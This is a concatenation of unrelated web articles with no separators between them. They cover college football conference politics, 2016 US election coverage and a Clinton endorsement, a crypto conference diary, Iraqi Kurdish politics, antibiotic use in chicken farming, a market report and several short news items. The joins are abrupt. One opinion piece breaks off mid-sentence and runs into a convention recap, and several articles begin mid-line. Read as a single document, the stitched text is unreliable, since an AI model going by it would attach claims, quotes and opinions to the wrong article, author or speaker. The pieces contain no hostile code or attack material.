But the Big 12 Conference is a collective. It’s logically made up of 10 schools for now. It’s an egalitarian operation. Each school has an equal vote and equal share of conference efficacy, and the subsequent revenue derived from its activities (in this case, sporting events).
That means if you’re BYU, you don’t have to make the "conference" entity or the commisioner like you. You have to drive demand for your membership through the Athletic Directors, Presidents, Chancellors and whatever other titles are held by the top-dogs at each member school.
And in the case of the Big 12’s bylaws, you’d have to get 75% or more to want you. That means eight member schools. If just three don’t want you, you’re out, or in BYU's case, not in.
And that’s assuming the schools even want to grow the conference, which is an issue to be addressed later.
Sunday Play
This stands out like Gary Patterson in purple at a wedding. Everyone knows BYU will never, under any circumstance, play a game on Sunday, and they won’t join a conference that doesn’t accommodate observance of Sunday as a day of worship.
Sure, Baylor and TCU are religious institutions, and they don’t quibble over whether playing games on the Lord’s day is right or wrong. But BYU won’t do it. Nor should it apologize for not doing so.
Sunday may not be an issue to the Big 12 Conference as a collective. But it could be to some of the member schools who see BYU's firm stance as an inconvenience not worth the cost of acquisition.
More importantly, it could be an issue to TV partners who would whisper such concerns in the ears of member institutions. Sure, ESPN loves BYU, but that doesn’t mean that Fox, Comcast or whoever might be at the Big 12 TV negotiating table wouldn’t want a contract that offers Sabbath programming that’s not a devotional talk from the Marriott Center.
And, as we’ll discuss later, it’s an issue if the schools want to launch a conference network at some point.
TV money split
The $2.6 billion deal with ABC/ESPN and Fox gives each member school about $20 million a piece each year. You can’t fault the Big 12 for its math. Right now it’s sitting on a pot of gold TV contract it only has to split 10 ways.
If the conference were to grow, that means the pie would be split among those new members. Other conferences expanded into new markets before they got their TV contract, so they negotiated that new-member-market-value into the deals.
Sure, the Big 12 could go back to TV partners and try to renegotiate should it choose to add another school. But that school would have to deliver tens of millions of dollars in value annually through the TV market and a potential conference title game in football in order to make up the cost of sharing that proverbial crusted dessert. That’s a lot of filling to make up.
But all is not lost. BYU fans can hope that new rules from the BCS (which can be tweaked annually) require a participating conference to have a championship game, which is not outside the realm of possibility. Just wait until an Alabama team is left out of the national championship because they had to play against Georgia in Atlanta in early December while Oklahoma got in following two weeks of rest after Bedlam.
Additionally, another scenario is that TV partners could pressure the conference to stage a title game to create more CFB programming, which would require expansion.
This is part two of four in a series regarding BYU's potential inclusion in the Bowl Championship series and the Big 12 conference. Part three will address issues relating to BYU's high-definition international television network, BYUtv, and the potential concerns the Big-12 could have with its programming.Media playback is unsupported on your device Media caption Obama: Donald Trump "unfit" to be president
President Barack Obama has said Republican nominee Donald Trump is unfit to be president, and questioned why his party still supports the New York billionaire's candidacy.
"There has to come a point at which you say: 'Enough'," Mr Obama said.
Mr Trump is under fire for attacking the parents of a dead US Muslim soldier after they criticised him.
On Tuesday, he turned on two senior figures in his own party who have publicly criticised him.
In an interview for the Washington Post, he refused to endorse House Speaker Paul Ryan and Senator John McCain, who are up for re-election in November.
Mr Trump, who faces the Democrats' Hillary Clinton in November's presidential election, has also been condemned for backing the Russian annexation of Crimea.
Mr Obama said he had had policy differences with previous Republican presidents and candidates - but added that he had never thought they could not function as president.
In other developments:
A Reuters/Ipsos opinion poll suggested Mrs Clinton had extended her lead over Mr Trump to eight percentage points, from six points on Friday
A federal judge who has been a target of Mr Trump's repeated scorn denied a media request to release videos of the candidate testifying in a lawsuit about the now-defunct Trump University; Mr Trump's lawyers had argued the videos would have been used to tarnish his campaign
The squeeze will continue: analysis by Anthony Zurcher, BBC News North America Reporter
Barack Obama has been steadily upping the pressure on Donald Trump's Republican Party supporters. Last week, at the Democratic National Convention, the president said he didn't think the nominee was within the mainstream of modern conservativism.
On Tuesday he called into question Mr Trump's fitness to hold the presidency - his sharpest words so far - and questioned why the party leaders continue to stand by their man.
Those comments take dead aim at Speaker of the House Paul Ryan, Senate Majority Leader Mitch McConnell and 2008 presidential nominee John McCain, who all have issued statements distancing themselves from Mr Trump's recent feud with the parents of a Muslim-American soldier killed in Iraq.
The irony, of course, is that Mr Obama's remarks likely make it more difficult for the party's top men to renounce their standard-bearer, lest they appear to be caving to their Democratic nemesis. Instead, the squeeze will continue - and grow more politically intolerable with each new Trump controversy.
At last week's Democratic National Convention, Khizr Khan - a Muslim whose son was killed serving in the US military in Iraq - criticised Mr Trump's plan to temporarily ban Muslims from entering the US.
Mr Trump responded by attacking the "Gold Star" family, the term for families that have lost a close relative in war. Democratic and Republican leaders as well as veterans' groups quickly condemned him.
Image copyright AFP Image caption Khizr Khan spoke out against Mr Trump's policies at the Democratic National Convention
"The Republican nominee is unfit to serve as president and he keeps on proving it," Mr Obama said on Tuesday. "The notion that he would attack a Gold Star family that made such extraordinary sacrifices... means that he is woefully unprepared to do this job."
Mr Trump released a statement on Tuesday afternoon responding to "President Obama's failed leadership" but did not directly address the president's criticisms.
"Our nation has been humiliated abroad and compromised by radical Islam brought onto our shores," Mr Trump said.
On Tuesday, New York Representative Richard Hanna became the first Republican member of Congress to publicly say he would vote for Mrs Clinton. Mr Hanna said Mr Trump's comments about the Khan family had been the deciding factor.
Until recently, many Republicans opposed to Mr Trump had stopped short of supporting Mrs Clinton, saying they would vote for a third party or write-in candidate.
Also on the campaign trail:Devcon3: Day 3 in Review — dot com era parties, [zk]SNARKS: so hot right now, The Token Model: v2, more breakfast with crypto OGs, Cosmos stuff, yo.
[zk] SNARKS stole the day as there were 6 presentations pertaining to them. High level: its more about the computation and verification of such computation than it is the privacy. This is well settled amongst Ether world devs. The Development Frameworks panel received an ovation when Nick Dodson publicly asked the audience to stop making sh*t tokens and focus on those with real value that can change people’s lives. I couldn’t agree more. This is ground-breaking tech, be patient, create value, improve lives. In crypto, you never know who someone is just by what they wear, how they walk or what they look like (unless you recognize them). At breakfast, I was not aware that I was sitting across from probably the first “ICO” consultant who has respect of the full Ether community including Vitalik (a VERY early mover in bitcoin, were talking one of the first 100 people to know about it). Had breakfast w/ him and an OG dev that is becoming the behind the scenes go-to. I value these encounters over the actual conference as they provide the true pulse of the ecosystem. Both were hyped about Cosmos and both are realists. Thank u Devcon. Metamask will be integrating ERC20 in the very near future (potentially a week from now?) thru wallet.metamask.io which allows you to use it w/o chrome extension. After Day 3 Agenda was complete, we went to this epic party at a “country club” on the water with a full view of Cancun. It was open to anyone from Devcon3 and was generally an awesome time. Projects from very high level players were being discussed everywhere. While hanging at the party w/ the crew of 20–30 somethings, it occurred to me that this may be the formation of new global elite superheroes (in t-shirts) that are potentially more powerful than governments. As the night progressed and the open bar supply ran lower, crazier blockchain “ideas” started being thrown around. An interesting one was incentivizing protection of endangered species thru tokenization. Also at this party, I learned how/what Cosmos is on a high level from one of the Cosmos devs. Basically separating the network/consensus layer from the application/tools layer and being able to apply that across the board, amongst blockchains. They are hopefully launching by the end of the year. HYPE and hopeful for strong delivery. Price of ether continues to hover around $300. Interesting it hasn’t even semi-mooned during this epic event, but it also has not decreased in value as they rest of the market has. I am anticipating run up in price post 2x thru out the end of the year. Not financial/legal advice, do ur own research.
hodl.Feminist News
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February-10-10
NY State Senator Expelled due to Domestic Abuse Charges
The New York state Senate voted 53 to 8 yesterday to expel Senator Hiram Monserrate (D) because of misdemeanor assault charges. In December 2008, Monserrate was videotaped dragging his girlfriend, Karla Giraldo, through their apartment building's lobby after he cut her face with broken glass. He avoided felony assault charges in the incident, which would have caused an automatic expulsion from the state Senate.
"The Senate cannot turn a blind eye to an act of domestic violence, a crime for which the state of New York has a zero-tolerance policy, and an attempt to evade responsibility for such a crime through dishonesty and bullying," said Senator Eric Schneiderman (D), chair of the special investigations committee that recommended Monserrate's expulsion, according to CBS News. Schneiderman also told the New York Daily News that Monserrate's "abusive and unlawful conduct damages the integrity of the New York state Senate and demonstrates a lack of fitness to serve in this body."
During a 16-minute floor speech, state Senator Monserrate said, "I know that my behavior has brought unwelcome discredit to this chamber, and for that, I am deeply sorry." He added that he hopes none of the other senators find themselves "at the mercy of certain colleagues with unfortunate political agendas."
According to WRVO Public Broadcasting, the vote to expel Monserrate may have been politically motivated. State Senators Monserrate (D) and Pedro Espada (D) changed affiliations briefly last summer and formed a coalition with state Senate Republicans. Democrats persuaded Monserrate to return a few days later. However, the switches resulted in a month-long stalemate, causing Monserrate to make enemies on both sides of the aisle.
Monserrate's expulsion leaves Democrats with a slim 31 to 30 majority in the New York state House. A special election for his replacement is scheduled for March 16, though Monserrate is seeking appeal of his expulsion, which could delay the special election.
Media Resources: CBS News 2/10/2010; NY Daily News 2/9/2010; WRVO Public Broadcasting 2/10/2010The England management have been left concerned and unimpressed after the security plans for their stay in Chennai were found on a public computer.
The plans, which included the details of which hotel rooms the players were in and how many staff were on guard on each floor, were found by an England supporter saved on the desktop of a publicly accessible computer in the lobby of a different hotel. It also contained details about the plain-clothes officers on duty and the location of officers on nearby rooftops overseeing the surrounding area.
The document, named 'Bandobust', was a Chennai Police Operational Order addressed to the Joint Assistant Commissioners of Chennai Police. It was not password protected.
An employee at the hotel, informed about the document, suggested local police regularly took advantage of the computer at the hotel.
The supporter immediately alerted the England team who took the issue up with the local authorities. It is understood that the England management requested the security plans be reviewed and updated to ensure any leak cannot be exploited.
England were full of praise for the arrangements on the first leg of their winter tour to Bangladesh which went ahead amid unprecedented levels of security following terror attacks in the country earlier this year.
Hotels were surrounded by armed guards and snipers, roads were closed as the team travelled in convoy to the ground and players and management were rarely permitted to leave the hotel outside of the matches.Iraqi Kurdistan: Post-Independence Referendum
Christine Balling
On September 25th, against the urging of the United States and other allies, the Kurdish Regional Government (KRG) held an independence referendum within the boundaries of its autonomous region and provocatively, without, in the city of Kirkuk. While the regional response was fast and furious, the United States did nothing, leaving the Iraqi Kurds at the mercy of a revengeful Baghdad: Erbil and Sulaimaniyah airports were closed to international commercial traffic. Turkey threatened to close borders and the Iranian and Iraqi militaries conducted joint exercises on the Iraqi Kurdish border. Baghdad sent the Iraqi army and Iranian-backed Shia Popular Mobilization Front (PMF) militias to retake the disputed territories back from the Kurdish peshmerga. Then, on October 29th, KRG president Masoud Barzani stepped down and suspended the post of presidency, distributing control of the KRG to other branches.
Recently, I spoke with four individuals about the ongoing and evolving crisis.
Barry R. McCaffrey is a retired four-star General who served in the United States Army for thirty-two years. During Operation Desert Storm in Iraq, General McCaffrey commanded the 24th Infantry Division (Mechanized).
General McCaffrey prefaced our interview by saying, “I view the situation as a strong supporter of Kurdish independence – certainly in Iraq – and in the longer run, in Turkey, in Syria and Iran.” He acknowledged the potential contentiousness of his opinion, especially vis a vis Kurdish aspirations in Turkey. But, in the shorter term, McCaffrey said that he thought that the Iraqi Kurds had had a reasonable chance for independence, especially given their potential for economic self-sufficiency. “Even though being a land locked state with hostile powers surrounding you is perilous, given the oil in the Kirkuk oil fields - which in my view might belong to the Kurds - I thought the Kurds could make it.” But, he added, after the recent events, it is clear that “Iraq, Iran and Turkey have a coordinated strategy to snuff out the concept [of Iraqi Kurdish independence.]”
McCaffrey appreciates the Iraqi Kurds’ distrust of Baghdad and was “astonished that the Iraqi Kurds did not fight for Kirkuk.” Further, he was surprised that the Iraqi Kurds “did not find a way around the Iraqi central government closing their airspace.” He regrets that the Iraqi Kurdish political parties did not come together and “unite behind a single policy” prior to holding the referendum. For that “they are now paying the price.” Lastly, McCaffrey remarked that while he “understands and has sympathy for the United States’ government’s dilemma dealing with this,” he is “disappointed that [the U.S.] did not find a way to facilitate and support Kurdish independence.”
Representative Bayan Sami Abdul Rahman is the senior representative of the Kurdish Regional Government (KRG) in the United States.
Representative Abdul Rahman spoke about the heavy hand Iran played in Baghdad’s response to the independence referendum. At the time of our discussion, the KRG and the United States were publicly at odds with regards to Iran’s direct involvement in the taking control of Kirkuk: Initially, U.S. spokespeople denied having evidence of direct Iranian involvement, while the KRG insisted that Major General Qasim Soleimani, the commander of the Iranian Revolutionary Guards’ Quds Force had flown to Kirkuk prior to Baghdad’s sending troops and PMF militias to Kirkuk. (On October 18th at the FDD Summit in Washington, CIA Director Mike Pompeo said that the Agency had been aware of Soleimani’s presence in Kirkuk.)
Ms. Abdul Rahman stated that the [KDP party controlled] KRG was “very clear in our position that Soleimani played a personal role in making a secret arrangement between some members of the PUK [opposition party]” so that the PUK peshmerga would leave Kirkuk. “Iran’s motivation is to prevent the referendum from succeeding in any way – even in the distant future.” She explained, “Soleimani travels in and out of Iraq and Kurdistan freely. But on this particular occasion we believe Soleimani wanted the local media to cover his visit so as to send a message to the United States.”
When asked why Erbil held the referendum on September 25th despite U.S. objections, the Representative argued that the Kurds had made their desire to hold a referendum back in 2014, when they agreed to the Americans’ request to fight alongside Iraqi forces against ISIS. However, during the fight against ISIS, the problems between the Iraqi government and the Iraqi Kurds were not addressed and “continued to fester.” Ms. Abdul Rahman emphasized that “the referendum gave the mandate to our leadership to negotiate with Baghdad; it was not…a unilateral declaration of independence.”
The Representative bemoaned the fact that the United States came out “so strongly” against the referendum but had yet to come out so strongly against the recent Iraqi military aggression and the Iraqis’ use of American weapons. Going forward, Ms. Abdul Rahman will continue to lobby in Washington, emphasizing three key points: First, the United States needs to understand the significance of Kirkuk and the extent of Iranian involvement. Second, the Iraqi Kurds need the military aggression against them to stop. And third, the Kurds will continue to look to the United States to help facilitate talks between Erbil and Baghdad. She says, “Let’s sit down before there is any more bloodshed. Let’s sit down before there is any more collective punishment of the people of Kurdistan.”
Ameena Saeed is Yazidi activist and a former member of the Iraqi Parliament. The United States Department of State awarded her the 2015 Hero Acting to End Modern Slavery Award.
When asked about the Yazidi community’s participation in the independence referendum, Ms. Saeed said she supposed that some Yazidis who live in Kurdistan, many probably voted for independence, those living in disputed territories – in the Shingal district for example – probably did not vote at all. She explained that many Yazidis still blame the peshmerga for allowing ISIS to overrun and commit genocide against her people. “If the referendum had been held before August 2014 [when ISIS the genocide occurred in Shingal], Saeed said, “all Yazidis would have voted ‘yes’ in the referendum.”
While the community’s distrust of the KRG lingers, Saeed made the point that “prior to 2003 when Saddam Hussein and Arabs controlled Iraq, there were no Yazidis in political positions. That changed when the KDP peshmerga took control of the region.” She went on to say that “after 2003, a Yazidi became mayor of Sinjar.”
But, now that the Iraqi army has entered Sinjar with the PMF, Saeed says many Yazidis are scared. Though Yazidis hope to one day establish a semi-autonomous region of their own, Ms. Saeed acknowledges that her community might have to take sides in the meantime. “If we belong to Kurdistan, even if it might not be the best option, is it better than living under the Iraqi government because we have had bad experiences with them.”
A retired senior intelligence officer with decades of experience in Iraq and the region.
When I spoke with the retired officer who worked directly with the Iraqi Kurds for years, the former officer was frustrated and frank: “The situation is an embarrassment. The United States betrayed the Kurds and the Kurds betrayed themselves.” Given the Trump Administration’s new Iran policy, the retired officer saw the Kirkuk crisis as having been preventable. “It the perfect opportunity to act on the administration’s policy. The United States could have pre-empted Bagdad’s taking of Kirkuk by “weighing in heavily diplomatically, sending a delegation to Baghdad and telling the Iraqis that we won’t tolerate a Shia militia presence in Kurdistan and we won’t tolerate Baghdad’s using American weapons to attack to the Kurds.” Instead, the retired officer said, the United States stood by while Qasim Soleimani flew to Kirkuk and struck a deal with members of the Talabani family – founders of the PUK – who agreed to order the PUK peshmerga forces to retreat and allow the PMF to take Kirkuk.
Referring to President Trump’s October 17th statement that “[the United States is] not taking sides, the retired officer said, “We don’t have to take sides; we only have to engage.”
As to why the United States did not engage, the retired officer said that the State Department’s “outdated” position is to blame: “The State Department refuses to give up on the ‘One Iraq Policy’ pipe dream and accept the reality that they are never going to keep Iraq together.” That said, the retired officer emphasized that the Iraqis and the Kurds must do their respective parts before the U.S. can meaningfully facilitate a deal between Erbil and Baghdad. Specifically, “Baghdad needs get away from the constant pressure from the Iranians and the Kurds need to get their political house in order and address the rampant corruption and lack of unity.” Only then, could the idea of establishing a federated Iraq - a comprise upon which Baghdad and Erbil might eventually agree – could be seriously considered.
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As relations between the Iraqis and the Iraqi Kurds continue to deteriorate, Iran will continue to leverage the discord to its advantage. While Erbil’s decision to proceed with the referendum was a political miscalculation, Washington’s inaction verges on political treachery. The Kurds were a loyal and incredibly effective ally in the U.S. led coalition’s fight against ISIS. For the moment, the matter seems settled against them. It must not be.In her 2015 TED Talk, “What Do We Do When Antibiotics Don’t Work Anymore?” journalist and author Maryn McKenna tells the story of her great uncle who died of a basic infection after a minor injury in a firehouse in 1938. Most people back then, she tells the audience, didn’t die of the lifestyle diseases we do now, but of simple injuries that led to infections. Antibiotics changed all that and yet, as McKenna details, we’re on the verge of setting back the clock on this crucial technology.
Antibiotic resistance is urgent enough for the U.N. to have called a General Assembly meeting to discuss it in 2016 and for the Obama Administration to have created an action plan in 2015. It’s also common enough that many parents now think twice before using antibiotics to treat common illnesses like ear infections in children. The medicine humans directly ingest, however, is only part of the problem. As McKenna also underscores, as much as 80 percent of the antibiotics sold in the U.S. are given to animals (more than 63,000 tons per year).
In her new book Big Chicken: The Incredible Story of How Antibiotics Created Modern Agriculture and Changed the Way the World Eats, Maryn McKenna zeroes in on how chicken in particular went from a “local delicacy to an everyday protein source.” In the process, McKenna sheds light on both the history and the future of how eat. Civil Eats spoke with McKenna recently about her book, the U.S. Food & Drug Administration (FDA) guidelines for antibiotics in farm animals, and what she’s having for dinner.
Why write a book just about chicken?
We eat more chicken than anything else in the United States. We eat almost twice as much chicken as beef, and we eat more chicken than pork. It’s such a part of our lives. And as I was finishing up a book on the dangers of antibiotic resistance, I came across the statistic that, in the U.S., we sell four times as many antibiotics for use in animals as we do in humans. But this made no sense to me—that medical cautions about using antibiotics conservatively could exist in the same time and space as an industry that was giving antibiotics, by the literal ton and with no veterinary oversight, to farm animals. So I wanted to know how that happened.
I also realized that the story of antibiotics in agriculture was framed by and parallel to the story of chicken. Chickens were the first animals to get growth-promoter antibiotics, and chicken is probably the protein, in the United States, that is going to exit routine antibiotic use first. That was not true when I began my reporting. This book took longer than I expected in part because the story changed. Six months after I started this book, the FDA announced changes in the guidelines for how antibiotics are used in agriculture. That was when the movement toward antibiotic-free chicken really started.
You write that as early as 1977, the commissioner of the FDA recommended banning growth promoters from American agriculture precisely because of the impact on humans. That didn’t happen. But, as you just explained, now the FDA does recommend—but not require—cutting the use of antibiotics. What’s your take on this voluntary encouragement?
It is correct to say the guidelines are voluntary. But the reality is that the industry treated the guidelines as if they had the force of law. The industry could have fought, but they went along with it. They realized that consumers were turning away from this practice, and that maybe antibiotics don’t work the way they used to.
Is that “no antibiotic” label on our chicken package enough? Ideally, where do you see this step leading us?
To reduce antibiotic resistance, we should aim to reduce antibiotic use in agriculture to only treating animals that are sick, which is the way we use antibiotics in humans. I think this is the way we should use antibiotics in animals, and I have absolutely no problem with that.
But we still have this very substantial category of antibiotic use that the industry calls “preventive,” meaning not curing infections but for the prevention and control of disease. That’s what tripped up antibiotic reform in Europe and I fear it’s what going to trip up antibiotic reform in the U.S.
That said, most of the companies that have relinquished antibiotic use in poultry have relinquished most preventive antibiotics as well. So, for the most part, chicken [producers have] solved this problem. The antibiotics that are still being used for preventive use in chickens, by some companies, are this category called ionophores, which don’t have any analog in human medicine.
Given that producers have been amenable to changing the way they raise chickens, what’s the role of consumers?
We wouldn’t be where we are now without the consumer movement. Healthcare institutions, school systems, chefs, and farms all created this groundswell that made it possible for the FDA to issue this guidance and made it safe for companies to agree. Most of these companies didn’t do what they did because they strongly believe antibiotic resistance is a worldwide peril. They changed their practices because they were afraid they were going to sell less chicken.
But the consumer movement could also keep going. They could say that we really only want to see antibiotics used in animals that are sick. And they need to say it not only about poultry, which has already moved in this direction, but also about cattle and pigs, which are going to be more complicated.
Because chickens are tiny and they don’t live very long.
That’s exactly right. Most cows and pigs not only live longer, but they also live in several different places. So there are challenges in terms of exposure, which aren’t present in poultry.
In the book, you explore an epidemic of urinary tract infections, writing that UTIs were long thought to be not only random and individual, but also often almost blamed on the young, sexually active women who most frequently get them. As epidemiologists conducted studies on college campuses, however, a strain of E. coli was discovered and eventually traced to grocery-store chicken. In other words, chicken could cause both the infection as well as its resistance to treatment. Do you think most Americans are aware of this connection?
This is a story that is really underappreciated. As a journalist, I have tried. I’ve written two magazine pieces so far. In science journalism and the food movement, we think a lot about the connections between farm antibiotics and human illness. But for most people, this is a new story. Especially because even if people do think about the effects of farming practices, they tend to think about the results as foodborne illness that happens to be antibiotic-resistant.
For instance, someone has contact with the meat of an animal that was given antibiotics, which directly results in an illness like Salmonella. The sense that bacteria, or the genes that the bacteria transmit, can move far away from the farm and cause illnesses that appear to have no connection to farming–that’s a step farther than most people have gone. And that’s why the UTI story is so important because it makes the case that the peril of antibiotic resistance coming from farms is bigger and more complicated than we knew.
Have your own eating habits changed since writing this book? Do you eat chicken?
I am a meat eater, and I want to make that very clear. I begin and end the book with me stuffing my face with chicken, and I used those two bracketing stories for two reasons. One reason is that antibiotic use in farm animals has led us down this path where protein is predictable, consistent, inexpensive, and pretty flavorless. We did not pursue flavor as a value. We pursued expediency and affordability, and I want people to think about how important flavor is. The second reason is that I wanted to make the point that it is possible to think deeply about these issues—to question how we produce protein and to work against antibiotic use—and still be okay with eating meat.
I try to spend my family’s food dollars on producers that are antibiotic-free, which mostly overlaps, but is not 100 percent congruent, with [certified] organic. This is easier than it was a few years ago because antibiotic-free is not only beautiful, pasture-based farms anymore. Part of the magic of this recent turning-away from antibiotics is that it opens up the market for small and medium-sized producers. When the competition was only about price and efficiency, they couldn’t compete. But now, almost every major poultry company, with a few notable exceptions, has an antibiotic-free brand within its portfolio, and I want to see that grow.
This interview was edited for length and clarity.Helsinki, Finland. Grisha Bruev / Shutterstock
This is what Americans fail to understand: My taxes in Finland were used to pay for top-notch services for me.
Bernie Sanders is hanging on, still pushing his vision of a Nordic-like socialist utopia for America, and his supporters love him for it. Hillary Clinton, meanwhile, is chalking up victories by sounding more sensible. "We are not Denmark," she said in the first Democratic debate, pointing instead to America's strengths as a land of freedom for entrepreneurs and businesses.
Commentators repeat endlessly the mantra that Sanders's Nordic-style policies might sound nice, but they'd never work in the U.S. The upshot is that Sanders, and his supporters, are being treated a bit like children—good-hearted, but hopelessly naive. That's probably how Nordic people seem to many Americans, too.
A Nordic person myself, I left my native Finland seven years ago and moved to the U.S. Although I'm now a U.S. citizen, I hear these kinds of comments from Americans all the time—at cocktail parties and at panel discussions, in town hall |
times even super ceding their male counterparts.
DID YOU KNOW?
-In a survey of Star Trek fans, 57 percent of respondents identified as female
-There are roughly 130 million women playing online PC games worldwide and 140 million men
Check out more Facts About Geek Girls here!
I was recently asked to take a survey about GeekGirlCon after attending. I was asked what could be done to make it better and I really have little complaints. The venue was in a great location, parking was ample and the overall organization of the event was impeccable. So, what is it? From a visitor standpoint it would be that they add more vendors. I know you have to have vendors wanting to table in order to get vendors tabling but the turnout seemed small. I cannot complain however about the variety of goods available for purchase, even if the vendor roster was limited. Stay tuned for my vendor spotlight and panel articles!
Overall, I had an AWESOME time at GeekGirlCon. I would recommend this con to girls and guys alike, young or old. Tickets sold out this year and are now available for GeekGirlCon 2014. Don’t forget to wear your costume!
Were you unable to attend? Check out our Facebook album here and live vicariously through us!Front lighting application finds the largest application in automotive, followed by rear lighting. Government regulations as well as increasing demand related to efficient front lighting in vehicles is driving the growth of this market. Interior lighting would also witness appreciable growth due to the increasing trend of installing LED lights inside the vehicle for enhancing the looks.
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Automotive Lighting Market Report, published by Allied Market Research, forecasts that the global market is expected to garner $33.7 billion by 2020, registering a CAGR of 6.8% during the period 2015-2020.Automotive lighting industry is witnessing a steady growth on account of growing automotive production across the world. The growing emphasis on vehicle safety and government regulations regarding automotive lighting systems, are contributing to the market growth. Additionally, increasing disposable income of people is supporting the demand of aesthetic looks for vehicles, which in turn, is creating the demand for advanced lighting solutions.
Access Full Summary at : https://www.alliedmarketresearch.com/automotive-lighting-market
Asia-Pacific, being the largest automotive vehicle market, would also be the largest market for automotive lighting. Growing automotive production, and increasing purchasing power in the two bigger markets of Asia viz.,China and India, would drive the market growth of the Asia-Pacific market.
LED lighting technology would witness the highest growth during the forecast period. Traditional Halogen lighting technology will be gradually replaced by LED technology. By 2020, LED technology will constitute 1/3rd of the total automotive lighting market, growing at the highest CAGR during the forecast period. The growth would be fueled by features such as low power consumption, longer life and compact size of LED lights. The decreasing cost of LED lights would further fuel their market growth during the forecast period. However, halogen lighting technology would maintain its leading position due to their low-cost advantages and widespread adoption.
Passenger vehicles, with their dominant market share in total vehicle segment, would be the largest vehicle type segment for automotive lighting. The demand for aesthetic lighting features would support the demand of lights in private and commercial cars.
Key Findings of Automotive Lighting Market:
The global automotive lighting market would grow steadily during the forecast period (2015-2020) due to rising concerns regarding road safety and growing automobile production
LED technology would be the fastest growing lighting technology throughout the forecast period
Halogen technology would continue to maintain its leading position due to lower cost and easy availability
Exterior lighting in vehicles would continue to maintain its dominant share compared to interior lighting
Asia-Pacific, with its huge automotive vehicle production capacity, would be the largest market for the automotive lighting products
Passenger vehicles would create more demand for automotive lighting products compared to commercial vehicles during the forecast period
Industry players are focusing on introducing advanced LED lighting solutions as well as expanding their presence in growing automotive markets such asChinaandIndia. For instance, Magneti Marelli, a leading manufacturer of advanced lighting solutions for automotive industry, has set up new plants in India and China in fiscal year 2014-15 to take advantage of these growing automotive markets.PHILADELPHIA (AP) — One Philadelphia mother thought of sending her only son to Dubai for a visit. Instead, she decided to bring Dubai to North Philadelphia for his prom.
Johnny Eden Jr. had a camel and three tons of sand brought in for photos. He had luxury cars, including a Rolls Royce and a Lamborghini, on loan for the evening. Johnny brought three dates, all in custom-made gowns, and wore three different outfits himself.
Johnny's mother says she spent about $25,000, and it was all worth it.
Saudia Shuler says she fought cancer and suffered from a stroke in the past few years. Shuler told herself if she was going to make it, she would put on a big prom for her son.
Johnny plans to attend Delaware State University in the fall.Hillary Clinton is the only choice for president.
HILLARY Clinton is a magnificent choice — for some voters. For everyone else, there is no reasonable alternative.
We’re all tired of election hyperbole, but the importance to America’s future of this year’s presidential election cannot be overstated.
Both candidates are flawed. But one of them, Republican nominee Donald Trump, poses an enormous risk to America’s prosperity, security and stability.
Clinton, the Democrats’ nominee, clearly has the experience, knowledge and temperament needed to maintain and improve America’s standing at home and abroad.
Past Times presidential endorsements • 1976 — Gerald Ford, R
• 1980 — Ronald Reagan, R.
• 1984 — Reagan
• 1988 — Michael Dukakis, D
• 1992 — Bill Clinton, D
• 1996 — Clinton
• 2000 — George W. Bush, R
• 2004 — John Kerry, D
• 2008 — Barack Obama, D
• 2012 — Obama
• 2016 — Hillary Clinton, D
Yes, we need more outsiders and candor in politics. That does not justify electing an unqualified candidate whose policies and behavior contradict the values of most Washingtonians and Americans, Republicans and Democrats, conservatives and liberals.
For voters on the fence who dislike Clinton and are wary of Trump, this election is like the game of “would you rather” — would you rather eat a slug or a tarantula?
The ballot asks undecided voters if they would rather elect an unpalatable insider or an egotistical boor out of his depth and fond of authoritarians.
America would benefit from a president with Clinton’s experience in state, federal and international affairs.
Clinton brings a superior understanding of America’s challenges, opportunities and its role in building prosperity and stability around the world. Trump’s naive threats to erect trade barriers and re-evaluate cornerstone defense alliances in Europe and Asia are already rattling allies and trading partners.
Risks are greater at home. All Americans are created equal and entitled to life, liberty and the pursuit of happiness. Current and future Americans are free to worship as they choose. This alone is reason to vote against Trump, who has suggested the government shut down houses of worship (mosques) and register people of a particular faith — Islam.
Instead of solutions that acknowledge the problem’s complexity and the positive contributions of immigrants, Trump offers unworkable, knee-jerk schemes, such as a border wall funded by Mexico.”
America is a nation of immigrants and a welcoming land of opportunity. This increases the nation’s strength and stature. Yet our immigration system desperately needs reform. Instead of solutions that acknowledge the problem’s complexity and the positive contributions of immigrants, Trump offers unworkable, knee-jerk schemes like a border wall funded by Mexico.
Trump has said the 14th Amendment’s provision of citizenship to those born in the U.S. should be denied to children of immigrants without documents. That echoes his selective application of religious freedom. Those who treasure the Constitution should reject a candidate who would pick and choose who receives its protections.
Clinton would continue President Obama’s effort to prevent deportation of low-risk immigrants, such as those who arrived as children and have no felony convictions. Overall, she seeks to lower barriers for immigrants to become citizens.
Trump’s trade proposals are repellent, such as creating punishing tariffs on key trading partners China and Mexico. These tariffs would not restore yesteryear’s manufacturing jobs, but would wreak economic havoc and cause job loss.
Clinton disappointingly has wavered on her support for the Trans-Pacific Partnership during her campaign. But she acknowledges the importance of free trade. Economic diplomacy also is essential to prevent conflict with China and build alliances to address threats like North Korea.
Trade and Asia’s growing volatility are of particular concern in trade-dependent Washington. The state is also a strategic location, with more than 112,000 military and defense workers.
Clinton’s penchant for secrecy and defensiveness are concerns. They were highlighted by her poor response to disclosures that she mishandled sensitive emails while secretary of state.
America needs a president committed to openness and comfortable with transparency, but there is no good choice on that front in 2016.
Most voters will base their decision on character. Therein, the distinction is clear and leaves them with just one option.
Clinton has demonstrated courage, strength and resilience — the traits we especially value in a president. She does this not by tweets and talking tough but through unflagging public service through personal and political crises that would crumble an ordinary person.
Trump, in contrast, has never served the public and shows disrespect for most of the people he would lead and the institution he would manage. Under campaign pressure that pales to that of the presidency, he has responded to slights and setbacks with bluster and threats. That demonstrates insecurity, fragility and a shocking lack of inner strength and control.
America will face many challenges at home and abroad over the next four years. Still, its overall success and world leadership will continue — if Trump is not elected.
Clinton is the only choice for president. She is undeniably the candidate with the experience, skills, knowledge and self-control to do the job.Courtesy
Google Fiber Austin quietly received permission in early June to expand its service area to San Antonio.The Public Utility Commission of Texas approved a June 5 application by Google Fiber Austin to expand its footprint to include San Antonio limits.So there may never be a Google Fiber San Antonio, but that doesn't mean the Alamo City won't get the Fiber.And the Public Utility Commission of Texas approved the application with lightning speed. The order approving the application was signed on June 10 Last week, while in San Francisco for a national mayor's conference, Mayor Ivy Taylor met with Google representatives. She told us that the company already has a team on the ground in San Antonio.We've reached out to a Google Fiber representative with knowledge of operations in Texas for comment and we also requested comment from the mayor's office to help us better understand what this means for the Alamo City.We'll update this post with their comments, should we get them.Here's a copy of the Public Utility Commission of Texas' recommendation in favor of Google Fiber Austin's request to expand its footprint into San Antonio:
44756_5_852446cryptogon.com news – analysis – conspiracies
